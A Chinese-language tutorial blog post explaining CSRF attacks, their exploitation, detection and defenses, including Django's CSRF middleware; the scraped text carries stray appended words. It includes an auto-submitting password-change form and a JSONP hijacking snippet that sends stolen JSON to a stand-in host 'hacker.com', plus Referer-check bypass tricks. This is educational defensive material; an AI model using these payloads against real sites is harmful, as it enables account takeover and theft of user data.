关于CSRF的那点事儿

0x01 CSRF简介

    CSRF,也称XSRF,即跨站请求伪造攻击,与XSS类似,但与XSS相比更难防范,是一种普遍存在于网站中的安全漏洞,常常与XSS一块儿配合攻击。
javascript

0x02 CSRF原理

    攻击者经过盗用用户身份悄悄发送一个请求,或执行某些恶意操做。
    CSRF漏洞产生的主要缘由:php

  • 请求全部的参数都可肯定
  • 请求的审核不严格,如:只验证了Cookie

关于CSRF的执行过程,这里引用自hyddd大佬画的图:

    咱们知道,当咱们使用img等标签时,经过设置标签的src等属性引入外部资源,是能够被浏览器认为是合法的跨域请求,也就是说是能够带上Cookie访问的。
    试想一下,若是咱们在a.com上放置一个img标签<img src=//b.com/del?id=1>。当b.com的用户在cookie没过时的状况下访问a.com,此时浏览器会向b.com发送一个指向http://b.com/del?id=1GET请求,而且这个请求是带上Cookie的,而b.com的服务器仅仅是经过cookie进行权限判断,那么服务器就会进行相应的操做,好比假设此处为删除某个文章,用户在不知情的状况下便已完成操做。html

0x03 CSRF可以形成的危害

  • 篡改目标网站上的用户数据;
  • 盗取用户隐私数据;
  • 做为其余攻击向量的辅助攻击手法;
  • 传播CSRF蠕虫。

0x04 CSRF的利用方式

  • 经过HTML标签发送合法的跨域请求
  • 经过Ajax发送请求(因为CORS机制的存在,通常不使用)

这里涉及到同源策略,若是不是很清楚能够先去了解一下。前端

1) HTML标签

    咱们知道,根据同源策略的规定,跨域请求是不容许带上Cookie等信息的,但是出于种种考虑最终没有进行彻底禁止,即存在某些合法的跨域请求。
    一般由HTML标签srclowsrc等属性产生的跨域请求是被浏览器认为是合法的跨域请求,而且此时并不须要javascript的参与。

    由HTML标签发出的合法跨域请求与正常的用户点击发出的请求相比所不一样的是:二者请求头中的Referer值不一样。
    不过值得说明的是IE浏览器在面对这种状况时会判断本地Cookie是否带上P3P属性,若是仅仅是内存Cookie则不受此影响。
    CSRF不只仅只能针对GET请求,也能够针对POST请求,不过只能使用from标签进行自动提交,注意此处需用到javascriptjava

<html>
<head></head>
<body>
<form action="http://a.com/changepass" method="POST">
<input type="hidden" name="username" value="victim">
<input type="hidden" name="password" value="hacker">
<input id="sub" type="submit"> //可用样式表将按钮隐藏
</form> 
<script>
document.getElementById("sub").click()
</script>
</body>
</html>

2) Ajax

    除了经过HTML标签发送跨域请求外,还能够经过Ajax来发送跨域状况,不过Ajax是严格遵照CORS规则的。
    关于CORS规则,不清楚的能够去看看evoA大佬的一篇文章跨域方式及其产生的安全问题
    简单来讲就是须要构造的xhr的withCredentials属性也为true才能带上Cookie进行跨域请求,与IE兼容性很差,且构造难度较Html复杂,故一般状况下咱们不使用Ajax来进行CSRF攻击。
    一般使用Ajax来跨域进行CSRF攻击的漏洞通常都配合XSS漏洞,此时的Ajax与目标域相同,不受CORS的限制。web

0x05 CSRF利用实例

1) 经常使用利用方式

    攻击者构造恶意html,经过引诱用户/管理员访问,触发CSRF漏洞。
ajax

2) 结合XSS利用

    CSRF+XSS结合,产生的危害已几何倍数剧增。若是CSRF和XSS两个漏洞是在同一个域下的话,那么此时的CSRF已经变成了OSRF了,即本站点请求伪造(出自黑客攻防技术宝典Web实战篇第二版p366),此时已经变成XSS的请求伪造攻击,本文不在赘述。django

3) jsonp

    咱们知道网站api返回的数据类型通常为json型或Array型,这里咱们仅讨论json型。
    当咱们须要调用远程api时json返回的数据通常以下:json

user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})

    这是由于开发者若是须要调用远程服务器的api获取json数据,因为同源策略的限制,经过ajax获取就会显得比较麻烦,相比之下<script>标签的开放策略,无疑是最好的方法去弥补这一缺陷,使得json数据能够进行方便的跨域传输。此处的user为回调函数名,通常为某个请求参数值(好比:callback),就上述例子说,只须要经过下面方法便可调用返回的数据:api

<script>
    function user(data){
        console.log(data);//此时的json数据已经存储进了data变量中    
    }
</script>



    这种远程api接口十分容易受到CSRF攻击,咱们能够经过修改callback参数值并添加自定义函数,如:

<html>
<head></head>
<body>
<script>
    function jsonphack(data){
        new image().src="http://hacker.com/json.php?data="+escape(data);
        //将json返回的数据发送到黑客服务器上
    }
</script>
<script src="http://127.0.0.1/1.php?callback=jsonphack"></script>
</body>
</html>

4) 更多例子

从零开始学CSRF
Web安全系列 -- Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用

0x06 防护CSRF攻击

    前边咱们说到,产生CSRF的缘由主要有两点,那么咱们能够针对这两点进行相应的防护。

1) Token

    咱们知道CSRF攻击的请求除了Cookie之外,其余的内容必须提早肯定好,那么若是咱们在服务端要求提交的某一个参数中是随机的值呢?
    这里咱们称这个随机的、没法被预计的值叫作Token,通常是由服务端在接收到用户端请求后生成,返回给用户的Token一般放置在hidden表单或用户的Cookie里。
    当用户打开正常的发送请求的页面时,服务器会生成一串随机的Token值给浏览器,在发送请求时带上此Token,服务端验证Token值,若是相匹配才执行相应的操做、销毁原Token以及生成并返回的Token给用户,这样作不只仅起到了防护CSRF的做用,还能够防止表单的重复提交
    因为HTML标签产生的合法跨域只能是单向请求,没法经过CSRF直接取返回的内容,因此咱们没法使用CSRF先取Token值再构造请求,这使得Token能够起到防护CSRF的做用。
    注意Token不该该放置在网页的Url中,若是放在Url中当浏览器自动访问外部资源,如img标签的src属性指向攻击者的服务器,Token会出现做为Referer发送给外部服务器,如下为相关实例:

  • WooYun-2015-136903

2) Referer

    前边咱们提到,CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不一样,使用咱们能够根据这点来防护CSRF。
    在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,若是不是,则进行拦截。
    不过此方法有时也存在着必定的漏洞,好比可绕过等,因此最好仍是使用Token。
    判断Referer的通常方法就是利用正则进行判断,而判断Referer的正则必定要写全,否则就会如上所说,可绕过!曾经的Wooyun上就有许多CSRF的漏洞是因为Referer的正则不规范致使。
    好比^http\:\/\/a\.com,只验证了是否Referer是否以http://a.com开头,但是没想到咱们能够在本身的顶级域名添加一个子域名http://a.com.hacker.com;还有http\:\/\/a\.com\/,经过http://hacker.com/?http://a.com/绕过。如下相关例子均为Referer绕过:

  • WooYun-2015-164067
  • WooYun-2015-165578
  • WooYun-2016-166608
  • WooYun-2016-167674

    有些网站因为历史缘由会容许空Referer头,当https向http进行跳转时,使用Html标签(如img、iframe)进行CSRF攻击时,请求头是不会带上Referer的,能够达到空Referer的目的。

3) 验证码

    在发送请求前先须要输入基于服务端判断的验证码,机制与Token相似,防护CSRF效果很是好,不过此方法对用户的友好度不好。

4) 关注点

    关于CSRF的防御应首先关注高危操做的请求,好比:网上转帐修改密码等,其次应重点关注那些能够散播的,好比:分享连接发送消息等,再者是能辅助散播的,如取用户好友信息等,由于前者加上后者制造出来的CSRF蠕虫虽不如XSS蠕虫威力大,但是也不可小觑。最后应关注那些高权限帐户可以进行的特权操做,如:上传文件添加管理员,在许多渗透测试中,即是起初利用这点一撸到底。

5) 防护实例:Django的CSRF防护机制

    新建个Django项目,打开项目下的settings.py文件,能够看到这么一行代码:django.middleware.csrf.CsrfViewMiddleware

这个就是Django的CSRF防护机制,当咱们发送POST请求时Django会自动检测CSRF_Token值是否正确。咱们把Debug打开,能够看到若是咱们的POST请求无CSRF_Token这个值,服务端会返回403报错。

如今咱们往表单上添加CSRF_Token的验证:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <form action="/login/" method="post">
        {% raw %}{{% endraw %}% csrf_token %} //添加Token
        <input type="text" name="user" />
        <input type="text" name="pwd" />
        <input type="submit" value="登录" />
    </form>
</body>
</html>

下图为生成的HTML,能够看到{% raw %}{{% endraw %}% csrf_token %}这串代码被Django解析成了一个隐藏的input标签,其中的值为token值,当咱们发送请求时必须带上这个值。

只有这样Django才会接受POST请求来的数据,不然返回错误,而且原登录页面的CSRF_Token从新生成,上一个进行销毁,很大程度上防护住了POST请求的CSRF。

补充一张暴漫系列图,引用自先知社区《聊聊CSRF漏洞攻防----久等的暴漫》做者:farmsec

0x07 CSRF的经常使用检测方法

1) 黑盒

  • 首先确定肯定是否除Cookie外其余参数都可肯定,即:无验证码,无Token等
  • 再者若是发现是Referer头判断的话,能够尝试是否能够绕过正则。
  • 还有就是考虑能不能绕过Token,好比Url处的Token用加载攻击者服务器上的图片来获取。
  • 最后能够考虑与XSS结合,如:攻击者使用iframe跨域,存在xss漏洞的网站插入的XSS执行代码为eval(window.name),那么咱们构造的iframe标签里能够添加个name属性与子页面进行通讯,例子:wooyun-2015-089971。

2) 白盒

  • 查看是否有Token,验证码,Referer等不肯定参数判断。
  • 判断Referer的正则是否安全。
  • 判断Token返回的位置是否为安全位置。
  • 判断生成的Token是否足够随机,毫无规律。

从上到下挖掘难度依次递增

0x08 补充说明

1) HttpOnly

    CSRF攻击不受Cookie的HttpOnly属性影响。

2) XSS漏洞状况下的CSRF

    若是一个网站存在XSS漏洞,那么以上针对CSRF的防护几乎失去了做用。

3) 关于Flash的内容

    鉴于Flash的凉势,这里暂不作研究以节省时间。

4) 目前CSRF形势

    就目前而言,CSRF这个沉睡的巨人很有一番苏醒的意味,可致使的危害也正在逐步的为人们所知,但目前仍有许多开发人员尚未足够的安全意识,觉得只要验证Cookie就能肯定用户的真实意图了,这就致使了目前仍有大量潜在的CSRF漏洞的局面,CSRF是不可小觑的漏洞,但愿你们看完这篇文章能对CSRF有个较为清晰的认识。

0x09 结束语

    虽然说这篇文章内容较为基础,但也是我熟读几本相关书籍与相关文章、研究已知漏洞,所写出来的一篇半总结,半思考文章,也许里边会有些错误,麻烦各位表哥斧正,若是有想要与我交流相关内容的能够email我(asp-php#foxmail.com #换成@)。

0x0A 参考

书籍:
《Web前端黑客技术揭秘》p83-p96
《XSS跨站脚本攻击剖析与防护》p182-p187
《黑客攻防技术宝典Web实战篇第二版》p368-p374

文章:
CSRF漏洞挖掘
WEB安全之Token浅谈
跨域方式及其产生的安全问题
Django中CSRF原理及应用详解
CSRF简单介绍及利用方法 | WooYun知识库
原生JSONP实现_动态加载js(利用script标签)

相关文章
相关标签/搜索